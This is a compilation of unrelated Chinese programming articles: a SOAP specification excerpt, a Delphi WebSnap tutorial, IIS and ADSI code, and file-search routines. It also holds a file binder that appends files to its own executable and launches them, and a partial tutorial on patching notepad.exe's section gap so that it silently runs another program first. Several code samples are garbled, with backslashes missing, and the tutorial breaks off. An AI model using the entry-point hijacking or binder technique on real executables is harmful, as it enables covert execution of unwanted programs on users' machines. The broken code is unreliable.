6.4 SOAP HTTP举例

例3 使用POST的SOAP HTTP

POST /StockQuote HTTP/1.1

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

SOAPAction: "http://electrocommerce.org/abc#MyMessage"

<SOAP-ENV:Envelope...

HTTP/1.1 200 OK

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

<SOAP-ENV:Envelope...

例4 使用扩展框架的SOAP HTTP

M-POST /StockQuote HTTP/1.1

Man: "http://schemas.xmlsoap.org/soap/envelope/"; ns=NNNN

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

NNNN-SOAPAction: "http://electrocommerce.org/abc#MyMessage"

<SOAP-ENV:Envelope...

HTTP/1.1 200 OK

Ext:

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

<SOAP-ENV:Envelope...

7. 在RPC中使用SOAP

设计SOAP的目的之一就是利用XML的扩展性和灵活性来封装和交换RPC调用。这一节定义了远程过程调用和应答的统一表示形式。虽然可以预计到这种表示形式最可能被用于与第5节中定义的编码方式相结合，但也可能有其它的表示形式。SOAP的encodingStyle属性（见4.3.2节）可以用来表明方法调用和应答都使用这一节所指定的表示方式。在RPC中使用SOAP和SOAP协议绑定（见第6节）是紧密相关的。在使用HTTP作为绑定协议时，一个RPC调用自然地映射到一个HTTP请求，RPC应答同样映射到HTTP应答。但是，在RPC中使用SOAP并不限于绑定HTTP协议。

要进行方法调用，以下的信息是必需的：

目标对象的URI

方法名

方法signature（可选）

方法的参数

头数据（可选）

SOAP依靠协议绑定提供传送URI的机制。例如，对HTTP来说，请求的URI指出了调用的来源 。除了必须是一个合法的URI之外，SOAP对一个地址的格式没有任何限制。（更多URI的信息参见 [4]）

7.1 RPC和SOAP体

RPC方法调用和应答都包含在SOAP Body元素中（见4.3节），它们使用如下的表示形式：

一个方法调用用一个结构表示

一个方法调用被看作一个单个的结构，每个[in]和[in/out]参数有一个accessor。结构的名和类型与方法相同。每个[in]和[in/out]参数都被看作一个accessor，这个accessor的名和类型与参数的名和类型相对应。它们的出现顺序和方法中定义的参数顺序相同。

一个方法应答用一个结构表示。

一个方法应答被看作一个单个的结构，返回值和每个[in]和[in/out]参数有一个accessor。第一个accessor是返回值，之后是参数accessor，参数accessor的出现顺序和方法中定义的参数顺序相同。每个参数accessor的名称和类型与参数的名称和类型相对应。返回值accessor的名称并不重要。同样，结构的名称也不重要，不过，通常在方法名称的后面加上字符串"Response"作为结构的名称。

方法错误使用SOAP Fault元素（见4.4节）表示。如果绑定的协议有额外的规则表示错误，则这些规则也必须要遵从。正如上面所述，方法调用和应答结构可以按照第5节中规则编码，或者用encodingStyle属性（见4.1.1节）指定编码方式。应用程序可以处理缺少参数的请求，但是可能返回一个错误。因为返回结果表示调用成功，错误表示调用失败，所以，在方法应答中同时包含返回结果和错误是错误的。

7.2 RPC和SOAP头

在RPC编码中，可能会有与方法请求有关但不是正规的方法signature的附加信息。如果这样，它必须作为SOAP头元素的子元素。使用这种头元素的一个例子是在消息中传递事务ID。由于事务ID不是方法signature的一部分，通常由底层的组件而不是应用程序代码控制，所以没有一种直接的方法在调用中传递这个必要的信息。通过在头中添加一个给定名字的条目，接收方的事务管理器就可以析取这个事务ID，而且不影响远程过程调用的代码。

8. 安全性考虑

这篇文档中没有涉及完整性和保密性，这些问题将在以后的版本中描述。

9. 参考文献

[1] S. Bradner, "The Internet Standards Process -- Revision 3", RFC2026, Harvard University, October 1996

[2] S. Bradner, "Key words for use in RFCs to Indicate Requirement Levels", RFC 2119, Harvard University, March 1997

[3] E. Whitehead, M. Murata, "XML Media Types", RFC2376, UC Irvine, Fuji Xerox Info. Systems, July 1998

[4] T. Berners-Lee, R. Fielding, L. Masinter, "Uniform Resource Identifiers (URI): Generic Syntax", RFC 2396, MIT/LCS, U.C.Irvine, Xerox Corporation, A ugust 1998.

[5] R. Fielding, J. Gettys, J. C. Mogul, H. Frystyk, T. Berners-Lee, "Hypert ext Transfer Protocol -- HTTP/1.1", RFC 2616, U.C. Irvine, DEC W3C/MIT, DEC,W3C/MIT, W3C/MIT, January 1997

[6] H. Nielsen, P. Leach, S. Lawrence, "An HTTP Extension Framework", RFC 2774, Microsoft, Microsoft, Agranat Systems

[7] W3C Recommendation "The XML Specification"

[8] W3C Recommendation "Namespaces in XML"

[9] W3C Working Draft "XML Linking Language". This is work in progress.

[10] W3C Working Draft "XML Schema Part 1: Structures". This is work in progress.

[11] W3C Working Draft "XML Schema Part 2: Datatypes". This is work in progress.

[12] Transfer Syntax NDR, in "DCE 1.1: Remote Procedure Call"

[13] N. Freed, N. Borenstein, "Multipurpose Internet Mail Extensions (MIME)Part One: Format of Internet Message Bodies", RFC2045, Innosoft, First Virtu al, November 1996

10。 附录

A. SOAP封装举例

A.1 请求编码举例

例5 类似于例1，但有一个必要的头

POST /StockQuote HTTP/1.1

Host: www.stockquoteserver.com

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

SOAPAction: "Some-URI"

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>

<SOAP-ENV:Header>

<t:Transaction

xmlns:t="some-URI"

SOAP-ENV:mustUnderstand="1">

5

</t:Transaction>

</SOAP-ENV:Header>

<SOAP-ENV:Body>

<m:GetLastTradePrice xmlns:m="Some-URI">

<symbol>DEF</symbol>

</m:GetLastTradePrice>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

例6 类似于例1，但有多个请求参数

POST /StockQuote HTTP/1.1

Host: www.stockquoteserver.com

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

SOAPAction: "Some-URI"

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>

<SOAP-ENV:Body>

<m:GetLastTradePriceDetailed

xmlns:m="Some-URI">

<Symbol>DEF</Symbol>

<Company>DEF Corp</Company>

<Price>34.1</Price>

</m:GetLastTradePriceDetailed>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

A.2 应答编码举例

例7 与例2类似，但有必要的头部

HTTP/1.1 200 OK

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>

<SOAP-ENV:Header>

<t:Transaction xmlns:t="some-URI" xsi:type="xsd:int" mustUnderstand="1"> 5 </t:Transaction>

</SOAP-ENV:Header>

<SOAP-ENV:Body>

<m:GetLastTradePriceResponse xmlns:m="Some-URI">

<Price>34.5</Price>

</m:GetLastTradePriceResponse>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

例8 与例2类似，但有一个结构

HTTP/1.1 200 OK

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>

<SOAP-ENV:Body>

<m:GetLastTradePriceResponse

xmlns:m="Some-URI">

<PriceAndVolume>

<LastTradePrice> 34.5 </LastTradePrice>

<DayVolume> 10000 </DayVolume>

</PriceAndVolume>

</m:GetLastTradePriceResponse>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

例9 与例2类似，但处理必要的头出错

HTTP/1.1 500 Internal Server Error

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">

<SOAP-ENV:Body>

<SOAP-ENV:Fault>

<faultcode>SOAP-ENV:MustUnderstand</faultcode>

<faultstring>SOAP Must Understand Error</faultstring>

</SOAP-ENV:Fault>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

例10 与例2类似，但处理Body出错

HTTP/1.1 500 Internal Server Error

Content-Type: text/xml; charset="utf-8"

Content-Length: nnnn

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">

<SOAP-ENV:Body>

<SOAP-ENV:Fault>

<faultcode>SOAP-ENV:Server</faultcode>

<faultstring>Server Error</faultstring>

<detail>

<e:myfaultdetails xmlns:e="Some-URI">

<message>

My application didn't work

</message>

<errorcode> 1001 </errorcode>

</e:myfaultdetails>

</detail>

</SOAP-ENV:Fault>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>


WebSnap入门
WebSnap入门

John Kaster 翻译：grhunter

作者简介：John Kaster是Borland公司开发人员关系部门职员

摘　要：如何使用WebSnap平台构架一个功能完备、基于浏览器的
关键字：WebSnap,web服务器,Delphi6
类　别：网络

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

WebSnap 基础

WebSnapTM是D6企业版中的一种新的基于组件的组件平台，用于快速开发Web服务器应用。本文将介绍如何创建一个简单的WebSnap服务器，为包括图像字段的数据集提供完备的编辑和浏览界面。在本文中你将可以看到，根本无需写一行代码，就可以完全实现需要的功能。

创建 WebSnap 服务器

首先，我们需要找到WebSnap工具栏。在D6企业版IDE工具栏上右击，显示Internet工具栏，如下所示：

WebSnap 工具栏

第一个图标（地球下面一只手那个）用于创建新的WebSnap应用程序。点一下，WebSnap向导出现了。我们要指定web页面的名称，还要将程序设置为Web App Debugger应用，这样，我们就能利用D6专业版和企业版中的web服务器（用Delphi构建）。假设我们把服务器称作 BasicDemo：

WebSnap Application Wizard

点击 OK 按钮后，将得到一个标准的Delphi窗体（可以用来监测web服务器何时处于运行状态）和一个WebModule，包括了web页面要用的组件。这些组件用以接收页面请求，当用户点击特定链接或者按钮时分派浏览器客户端请求。

Home 页面模块

创建数据模块

现在要创建一个WebSnap数据模块，用来从数据集发布信息。点击WebSnap工具栏的第三个按钮（地球前面有一个数据集那个）。然后，从组建面板 Data Access 页拖一个TclientDataSet到上面，在 FileName 属性中，指定旧Paradox Biolife表的MyBase XML数据集版本。应该是在\f0 Program FilesFilesShared目录下的biolife.xml文件。这个数据集包含图像字段和备注字段，还有普通的数值、文字字段。这些字段都可以用WebSnap来发布和编辑。

支持无状态服务器

指定ClientDataSet的文件名后，转到Object TreeView，展开ClientDataset，在Fields上点击，右击添加所有字段到树形视图。WebSnap为数据库操作创建无状态服务器，我们要为数据集指定一个主键，这样才能进行客户端的浏览和操作请求。用 Species No 作为主键。第一步，在Object Treeview中选择这个字段：

WebDataModule 的Object Treeview

然后，在Object inspector中修改ProviderFlags属性，将pfInKey设置为True，指定 Species No 为数据集主键。

注：如果没有找到这个数据集，也可以通过 BDE用Paradox表。唯一不同之处：需要直接放置一个BDE session组件，将AutoSessionName属性设置为True，然后用一个Ttable组件指向DBDEMOS biolife.db表。其它步骤一样。

Species No 在Object Inspector中显示的属性

发布数据到浏览器

设置好数据集主键后，在WebSnap组件面板选择DataSetAdapter，如下图：

WebSnap组件面板

把DataSetAdapter放到DataModule上。现在，DataModule看起来应该象这个样子：

WebDataModule：包括Dataset 和 DataSetAdapter

现在把这个adapter和dataset连结起来。如下图所示，Object Inspector提供了组件参考的行内扩展支持。注意，数据集属性用不同的颜色和缩进来表示：

Object Inspector 中的组件参考

下一步不是必需的。为了描述清晰起见，仍要说明一下。回到Object Treeview，展开adapter的属性，为数据集添加所有命令适配器(adapter)和字段适配器（右击Actions和Fields）。可以看到，所有的标准数据集操作都受到支持（导航和数据修改）。字段适配器为任意数据集中的数据提供显示和编辑支持，包括含有文字或图像的Blob字段。

在Object Treeview中添加适配器

用 DataSetAdapter显示数据表格

用WebSnap工具栏的第二个按钮（地球前面的文档那个按钮）为web服务器创建另一个页面，称之为"Grid"页。除了Type设置为AdapterPageProducer外，其它用缺省的设置。如果 Published 被选中，主页就会出现指向Grid的链接。

WebSnap Page Module向导

在这个单元中Use先前的WebDataModule（Unit3），这样，就可以看到DataSetAdapters的声明。然后，在Object Treeview中，右击AdapterPageProducer的WebPageItems，添加一个AdapterForm组件，在给它添加一个AdapterGrid。

添加AdapterGrid

将AdapterGrid的Adapter属性设置为WebDataModule的数据集适配器（WebDataModule3.DataSetAdapter1），然后点击编辑器中的preview（预览）页，察看数据集中的数据。

预览Grid

现在grid看起来不那么爽，因为Notes字段使每行数据显得太大了。好，我们来重载缺省的显示，添加需要显示的字段。在Object Treeview中右击AdapterGrid，选择"Add Columns（添加栏）"，如下图所示：

添加指定的栏

Object Treeview看起来会像这样：

更新Object TreeView

现在预览视图中值显示选择了的栏位：

新的grid

编辑数据

用同一个向导（WebSnap工具栏的第二个按钮）创建编辑页面。使用如下图所示的属性值：

用WebSnap向导创建EditPage

和创建Delphi图形界面程序一样，这里我们也用同样的数据模块创建基于WebSnap的编辑界面。别忘了Use Unit3。在Object Treeview中右击，添加以下组件：

添加组件

连结AdapterFieldGroup和AdapterErrorList到DataSetAdapter（Adapter属性）。指定AdapterCommandGroup的DisplayGroup属性为AdapterFieldGroup。如果预览视图当前处于活动状态，你会看到一条关于需要属性的警告信息，帮助你正确设置组件参考。AdapterFieldGroup可以把数据显示为浏览模式或编辑模式。AdapterErrorList显示用户操作引起的任何数据确认错误。

设置页面链接

我们已经为指定的记录做好了编辑/浏览页面。支持在编辑和浏览模式之间直接跳转、操作grid中的记录，应该会是一个好主意。选择Unit4（Grid），在Object Treeview中右击AdapterGrid1，添加一个AdapterCommandColumn。可以看到，command column缺省地在一行中显示所有按钮。首先，把AdapterCommandGroup的Display columns属性设置为1。这样，按钮就能够垂直排列了。我们只需要其中的四个按钮，所以，右击AdapterCommandColumn，添加需要在grid中显示的命令。

在grid上添加命令

grid现在看起来好些了：

grid预览

在Object Treeview中，选择CmdEditRow、CmdBrowseRow和CmdNewRow，把它们的PageName属性设置为"EditPage"。这将会为这些按钮设置"按页面名称"链接。

一切就绪，准备测试。保存所有文件，运行程序。

Web App Debugger

Web App Debugger包括在D6专业版和企业版中。我们可以利用它来高效地调试WebSnap应用。可以在web服务器程序中设置断点。从Tools菜单运行Web App Debugger，点击 Start 按钮。如下图所示：

Web App Debugger

要察看Web App Debugger是否注册，点击Server info链接。在下面的列表中，可以注意到我已经注册了D6企业版的所有WebSnap demo。在列表中部，是刚才创建和注册的WebSnap服务器。

注册的WebApp Debugger servers

点击"View Details"链接，可以察看详细信息。

服务器细节

点击ServerInfo列表视图的"Go"按钮，显示我们的服务器页面。或者点击细节视图中的链接。如下所示：

浏览器中的主页

点击Grid链接，显示数据表格：

数据表格

在表格中选择一行，点击 EditRow 按钮。可以在页面中编辑记录。注意，我们甚至可以改变图像，只要简单地点击browse按钮，选择一个新图像文件，然后点击 Apply 按钮。

编辑模式

要确定是在同一页编辑，点击 BrowseRow，可以看到图像。在编辑模式也可以显示图像。目前，所有的适配器字段的ViewMode属性都设置为vmDefault，表示从AdapterFieldGroup的当前ViewMode取得设置值。如果想总是显示图像，可以在field group中添加一个AdapterDisplayField，指定给图像字段，将ViewMode属性设置为vmDisplay。

浏览模式

点击 EditRow 按钮，切换回编辑状态，输入一些非法数据。试着保存更改，会看到下面的样子：

错误捕获

如果点击 Cancel，改动将不会保存。

通过上面的介绍，我们可以了解到WebSnap最初级的应用。WebSnap是一个具备高度灵活性和扩展性的基于组件的Web服务器开发平台，还有许多需要发掘的内容。这都有待在以后的文章中继续探讨了。


Delphi中用Adsi创建IIS虚拟目录
Delphi中用Adsi创建IIS虚拟目录

    先引入类型库(Project|Import Type Library)adsiis.dll、iisext.dll和activeds.tlb新建一个单元，声明。

unit ActiveDs;

interface

  function ADsGetObject(const PathName: WideString; const GUID:

TGUID; out I: IUnknown): HRESULT; stdcall;

implementation

  function ADsGetObject; 　　external 'activeds.dll' name 'ADsGetObject';

end.

方法一(参照C++)、

var

  I: IADsContainer;

  ADs: IADs;

begin

  if ADsGetObject('IIS://localhost/w3svc', IID_IADsContainer, IUnknown(I)) = S_Ok then

  begin

    ADs := IADs(I.GetObject('IIsWebServer', '1'));

    ShowMessage(ADs.ADsPath);

    if ADs.QueryInterface(IID_IADsContainer, I) = S_OK then

    begin

      ADs := IADs(I.GetObject('IIsWebVirtualDir', 'Root'));

      ShowMessage(ADs.ADsPath);

      if ADs.QueryInterface(IID_IADsContainer, I) = S_OK then

      begin

        ADs := IADs(I.Create('IIsWebVirtualDir', 'DelphiTest'));

        ADs.Put('AccessRead', 'True');

        ADs.Put('Path', 'c:');

        ADs.SetInfo;

      end;

    end;

  end;

end;

方法二(使用接口)、

procedure TForm3.BitBtn4Click(Sender: TObject);

var

  Disp: IDispatch;

begin

  Disp := IISNamespace1.GetObject('IIsWebService', 'localhost/w3svc');

  Disp := (Disp as IADsContainer).GetObject('IIsWebServer', '1');

  Disp := (Disp as IADsContainer).GetObject('IIsWebVirtualDir', 'Root');

  Disp := (Disp as IADsContainer).Create('IIsWebVirtualDir', 'DelphiADSITest');

  (Disp as IADs).Put('AccessRead', 'True');

  (Disp as IADs).Put('Path', 'c:');

  (Disp as IADs).SetInfo;

end;

方法三(使用Variant，就是类似VB和ASP的方法)、

procedure TForm2.BitBtn1Click(Sender: TObject);

var

  WebSite, WebServer, WebRoot, VDir: Variant;

begin

  WebSite := CreateOleObject('IISNamespace');

  WebSite := WebSite.GetObject('IIsWebService', 'localhost/w3svc');

  WebServer := WebSite.GetObject('IIsWebServer', '1');

  WebRoot := WebServer.GetObject('IIsWebVirtualDir', 'Root');

  VDir := WebRoot.Create('IIsWebVirtualDir', 'VariantTest');

  VDir.AccessRead := True;

  VDir.Path := 'C:';

  VDir.SetInfo;

end;


查找所有文件
procedure findall(disk,path: String; var fileresult: Tstrings);

var

fpath: String;

fs: TsearchRec;

begin

fpath:=disk+path+'\*.*';

if findfirst(fpath,faAnyFile,fs)=0 then

begin

if (fs.Name<>'.')and(fs.Name<>'..') then

if (fs.Attr and faDirectory)=faDirectory then

findall(disk,path+'\'+fs.Name,fileresult)

else

fileresult.add(disk+strpas(strupper(pchar(path)))+'\'+strpas(

strupper(pchar(fs.Name)))+'('+inttostr(fs.Size)+')');

while findnext(fs)=0 do

begin

if (fs.Name<>'.')and(fs.Name<>'..') then

if (fs.Attr and faDirectory)=faDirectory then

findall(disk,path+'\'+fs.Name,fileresult)

else

fileresult.add(disk+strpas(strupper(pchar(path)))+'\'+str

pas(strupper(pchar(fs.Name)))+'('+inttostr(fs.Size)+')');

end;

end;

findclose(fs);

end;

procedure DoSearchFile(Path: string; Files: TStrings = nil);

var

Info: TSearchRec;

procedure ProcessAFile(FileName: string);

begin

if Assigned(PnlPanel) then

PnlPanel.Caption := FileName;

Label2.Caption := FileName;

end;

function IsDir: Boolean;

begin

with Info do

Result := (Name <> '.') and (Name <> '..') and ((attr and fadirectory) = fadirectory);

end;

function IsFile: Boolean;

begin

Result := not ((Info.Attr and faDirectory) = faDirectory);

end;

begin

Path := IncludeTrailingBackslash(Path);

try

if FindFirst(Path + '*.*', faAnyFile, Info) = 0 then

if IsFile then

ProcessAFile(Path + Info.Name)

else if IsDir then DoSearchFile(Path + Info.Name);

while FindNext(Info) = 0 do

begin

if IsDir then

DoSearchFile(Path + Info.Name)

else if IsFile then

ProcessAFile(Path + Info.Name);

Application.ProcessMessages;

if QuitFlag then Break;

Sleep(100);

end;

finally

FindClose(Info);

end;

end;


轻轻松松查找文件
轻轻松松查找文件

在平常的编程当中，经常会碰到查找某一个目录下某一类文件或者所有文件的问题，为了适应不同的需要，我们经常不得不编写大量的类似的代码，有没有可能写一个通用的查找文件的程序，找到一个文件后就进行处理的呢？这样我们只要编写处理文件的部分就可以了，不需要编写查找文件的部分！答案是肯定的。下面的这个程序就能实现这个功能！

//说明：

//TFindCallBack为回调函数，FindFile函数找到一个匹配的文件之后就会调用这个函数。

//TFindCallBack的第一个参数找到的文件名，你在回调函数中可以根据文件名进行操作。

//TFindCallBack的第二个参数为找到的文件的记录信息，是一个TSearchRec结构。

//TFindCallBack的第三、四个参数分别为决定是否终止文件的查找，临时决定是否查找某个子目录！

//FindFile的参数：

//第一个决定是否退出查找，应该初始化为false；

//第二个为要查找路径；

//第三个为文件名，可以包含Windows所支持的任何通配符的格式；默认所有的文件

//第四个为回调函数，默认为空

//第五个决定是否查找子目录，默认为查找子目录

//第六个决定是否在查找文件的时候处理其他的消息，默认为处理其他的消息

//若有意见和建议请E_Mail：Kingron@163.net

type

TFindCallBack=procedure (const filename:string;const info:TSearchRec;var bQuit,bSub:boolean);

procedure FindFile(var quit:boolean;const path: String;const filename:string='*.*';

proc:TFindCallBack=nil;bSub:boolean=true;const bMsg:boolean=true);

var

fpath: String;

info: TsearchRec;

procedure ProcessAFile;

begin

if (info.Name<>'.') and (info.Name<>'..') and ((info.Attr and faDirectory)<>faDirectory) then

begin

if assigned(proc) then

proc(fpath+info.FindData.cFileName,info,quit,bsub);

end;

end;

procedure ProcessADirectory;

begin

if (info.Name<>'.') and (info.Name<>'..') and ((info.attr and fadirectory)=fadirectory) then

findfile(quit,fpath+info.Name,filename,proc,bsub,bmsg);

end;

begin

if path[length(path)]<>' then

fpath:=path+'

else

fpath:=path;

try

if 0=findfirst(fpath+filename,faanyfile and (not fadirectory),info) then

begin

ProcessAFile;

while 0=findnext(info) do

begin

ProcessAFile;

if bmsg then application.ProcessMessages;

if quit then

begin

findclose(info);

exit;

end;

end;

end;

finally

findclose(info);

end;

try

if bsub and (0=findfirst(fpath+'*',faanyfile,info)) then

begin

ProcessADirectory;

while findnext(info)=0 do

ProcessADirectory;

end;

finally

findclose(info);

end;

end;

例子：

procedure aaa(const filename:string;const info:tsearchrec;var quit,bsub:boolean);

begin

form1.listbox1.Items.Add(filename);

quit:=form1.qqq;

bsub:=form1.checkbox1.Checked;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

listbox1.Clear;

qqq:=false;

button1.Enabled:=false;

findfile(qqq,edit1.text,edit2.text,aaa,checkbox1.checked,checkbox2.checked);

showmessage(inttostr(listbox1.items.count));

button1.Enabled:=true;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

qqq:=true;

end;


文件的合并和分解
unit mgr;

interface

uses

Windows, Messages, SysUtils, Classes, Forms,

StdCtrls,shlobj, Controls, Dialogs,shellapi;

type

TForm1 = class(TForm)

GroupBox1: TGroupBox;

Button1: TButton;

OpenDialog1: TOpenDialog;

SaveDialog1: TSaveDialog;

Button3: TButton;

GroupBox2: TGroupBox;

ListBox1: TListBox;

procedure Button1Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure SaveDialog1CanClose(Sender: TObject; var CanClose: Boolean);

procedure ListBox1DblClick(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

fstream1:tfilestream;

fstream2:tfilestream;

list:tstrings;

len:tstrings;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

const

flen=136192; //请注意修改这儿的长度

type

FILE_INFO=record

filename:array[0..MAX_PATH] of char;

len:integer;

end;

function SelectDirectory(handle:hwnd;const Caption: string; const Root: WideString;out Directory: string): Boolean;

var

lpbi:_browseinfo;

buf:array [0..MAX_PATH] of char;

id:ishellfolder;

eaten,att:cardinal;

rt:pitemidlist;

initdir:pwidechar;

begin

result:=false;

lpbi.hwndOwner:=handle;

lpbi.lpfn:=nil;

lpbi.lpszTitle:=pchar(caption);

lpbi.ulFlags:=BIF_RETURNONLYFSDIRS+BIF_EDITBOX;

SHGetDesktopFolder(id);

initdir:=pwchar(root);

id.ParseDisplayName(0,nil,initdir,eaten,rt,att);

lpbi.pidlRoot:=rt;

getmem(lpbi.pszDisplayName,MAX_PATH);

try

result:=shgetpathfromidlist(shbrowseforfolder(lpbi),buf);

except

freemem(lpbi.pszDisplayName);

end;

if result then

begin

directory:=buf;

if length(directory)<>3 then directory:=directory+';

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

info:FILE_INFO;

i:integer;

buf:array[0..4096] of byte;

s:integer;

begin

if savedialog1.Execute then

if opendialog1.Execute then

begin

try

copyfile(pchar(paramstr(0)),pchar(savedialog1.FileName),false);

fstream1:=tfilestream.Create(pchar(savedialog1.FileName),fmopenreadwrite);

fstream1.Seek(flen,soFromBeginning);

for i:=0 to opendialog1.Files.Count-1 do

begin

strpcopy(info.filename,extractfilename(opendialog1.files.strings[i]));

fstream2:=tfilestream.Create(opendialog1.Files.Strings[i],fmopenread);

info.len:=fstream2.Size;

fstream1.Write(info,sizeof(info));

while fstream2.Position<>fstream2.Size do

begin

s:=fstream2.Read(buf,sizeof(buf));

fstream1.Write(buf,s);

end;

fstream2.Free;

end;

finally

fstream1.Free;

end;

end;

end;

procedure TForm1.Button3Click(Sender: TObject);

var

f:textfile;

info:FILE_INFO;

i:integer;

buf:array[0..4096] of byte;

s:integer;

count,b:integer;

dir:string;

begin

if selectdirectory(handle,'选择输出文件夹','',dir) then

try

fstream1:=tfilestream.Create(paramstr(0),fmShareDenyWrite);

fstream1.Seek(flen,soFromBeginning);

while fstream1.Position<>fstream1.Size do

begin

fstream1.Read(info,sizeof(info));

count:=0;

assignfile(f,dir+info.filename);

rewrite(f);

closefile(f);

fstream2:=tfilestream.Create(dir+info.filename,fmopenwrite);

fstream2.Size:=0;

i:=info.len div sizeof(buf);

for b:=1 to i do

begin

s:=fstream1.Read(buf,sizeof(buf));

fstream2.Write(buf,s);

inc(count,s);

end;

s:=fstream1.Read(buf,info.len-count);

fstream2.Write(buf,s);

fstream2.Free;

end;

finally

fstream1.Free;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

info:FILE_INFO;

begin

list:=tstringlist.Create;

len:=tstringlist.Create;

try

fstream1:=tfilestream.Create(paramstr(0),fmShareDenyWrite);

fstream1.Seek(flen,soFromBeginning);

while fstream1.Position<>fstream1.Size do

begin

fstream1.Read(info,sizeof(info));

list.Add(inttostr(fstream1.position));

len.Add(inttostr(info.len));

listbox1.Items.Add(info.filename);

fstream1.Seek(info.len,soFromCurrent);

end;

finally

fstream1.Free;

end;

if listbox1.Items.Count>0 then button3.Enabled:=true else button3.Enabled:=false;

end;

procedure TForm1.SaveDialog1CanClose(Sender: TObject;

var CanClose: Boolean);

var

f:integer;

begin

f:=filecreate(savedialog1.FileName);

if f<=0 then

begin

MessageBox(handle,'不能选择输出到该文件！',pchar(application.Title),MB_OK+MB_ICONerror);

canclose:=false;

end;

fileclose(f);

end;

procedure TForm1.ListBox1DblClick(Sender: TObject);

var

path:array[0..max_path] of char;

filename:string;

f,b,s,count:integer;

buf:array[0..4096] of char;

begin

if button3.Enabled=false then exit;

gettemppath(Max_path,path);

filename:=path+listbox1.Items.Strings[listbox1.itemindex];

fstream1:=tfilestream.Create(paramstr(0),fmShareDenyWrite);

f:=filecreate(filename);

fileclose(f);

count:=0;

fstream2:=tfilestream.Create(filename,fmopenwrite);

fstream1.Seek(strtoint(list.Strings[listbox1.ItemIndex]),sofrombeginning);

f:=strtoint(len.Strings[listbox1.itemindex]) div sizeof(buf);

for b:=1 to f do

begin

s:=fstream1.Read(buf,sizeof(buf));

fstream2.Write(buf,s);

inc(count,s);

end;

s:=fstream1.Read(buf,strtoint(len.Strings[listbox1.itemindex])-count);

fstream2.Write(buf,s);

fstream2.Free;

shellexecute(handle,'open',pchar(filename),'','',sw_show);

fstream1.Free;

end;

procedure TForm1.FormDestroy(Sender: TObject);

var

i:integer;

path:array[0..max_path] of char;

filename:string;

begin

list.Free;

len.Free;

gettemppath(Max_path,path);

for i:=0 to listbox1.Items.Count-1 do

begin

filename:=path+listbox1.Items.Strings[i];

deletefile(filename);

end;

end;

end.


在PE文件间隙中写代码
--------给PE文件打补丁--------

------njhhack

我们都知道在PE文件中有很多空隙，所以我们就有可能给PE文件打补丁.

做法是在空隙中插入我们的补丁代码.

下面我通过实例来教大家给win97的notepad.exe(记事本)程序来打个补

丁，使得notepad.exe运行时先运行我的pach.exe程序，方法是:

1.在notepad.exe的section间隙中插入

ShellExecute(0,'open','pach.exe',0,0,5)这个api函数调用

2.后面加入jmp old_begin来跳回原来的程序启动点执行原来的代码

3.修改程序的入口点为新的入口点

经过这三步操作后，你就为notepad.exe程序打上了补丁，以后每次执行notepad.exe

都会先执行pach.exe程序了.

听起来很简单，做起来麻烦，我们来看看如何实际操作吧!

首先我们需要有个debug.exe用来修改notepad.exe程序的内容，这是windows

自带的，你不用费事找的,当然你要分析pe文件的结构和他的反汇编指令的话还要一

个dumppe.exe程序，他是masm32汇编器自带的一个免费程序，功能强大，我们分析pe

格式和反汇编码就用他了,如果你没有这个程序也没关系，想要的话从这里下载就行

http://njhhack.top263.net/dumppe.zip当然我们还要一个win97的操作系统，因为

我们对他的notepad.exe程序打补丁.

好了，准备好后，我们开始工作了，先把notepad.exe复制到c:.exe,c:

然后我们对n进行手术,首先我们分析n.exe的内部结构,用dumppe -disasm n.exe>n.txt

好了，n.txt中包含了我们要的所有信息,当然我们只对下面的几个内容感兴趣:

------------------------------------------------

Address of Entry Point 00001000

-------------------------------------------------

01 .text Virtual Address 00001000

Virtual Size 00003A9B

----------------------------------------------------

00402E20 FF1578734000 call dword ptr [ShellExecuteA]

-----------------------------------------------------------------

上面这三部分信息分别是什么含义呢?

1.其中Address of Entry Point 00001000

表示程序的入口点为1000,这个很重要，因为我们的程序执行完后要跳回这个入口点,

2.其中 01 .text Virtual Address 00001000

Virtual Size 00003A9B

表示代码段的虚拟地址从1000开始,大小为3a9b,这个也很重要，因为我知道每个

section以200对齐,现在大小为3a9b,比对齐后的3c00要少，所以代码段有空隙，我们就可

以在此插入自已的代码了,空隙的大小为3c00-3a9b=165大小,足够了,

3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]

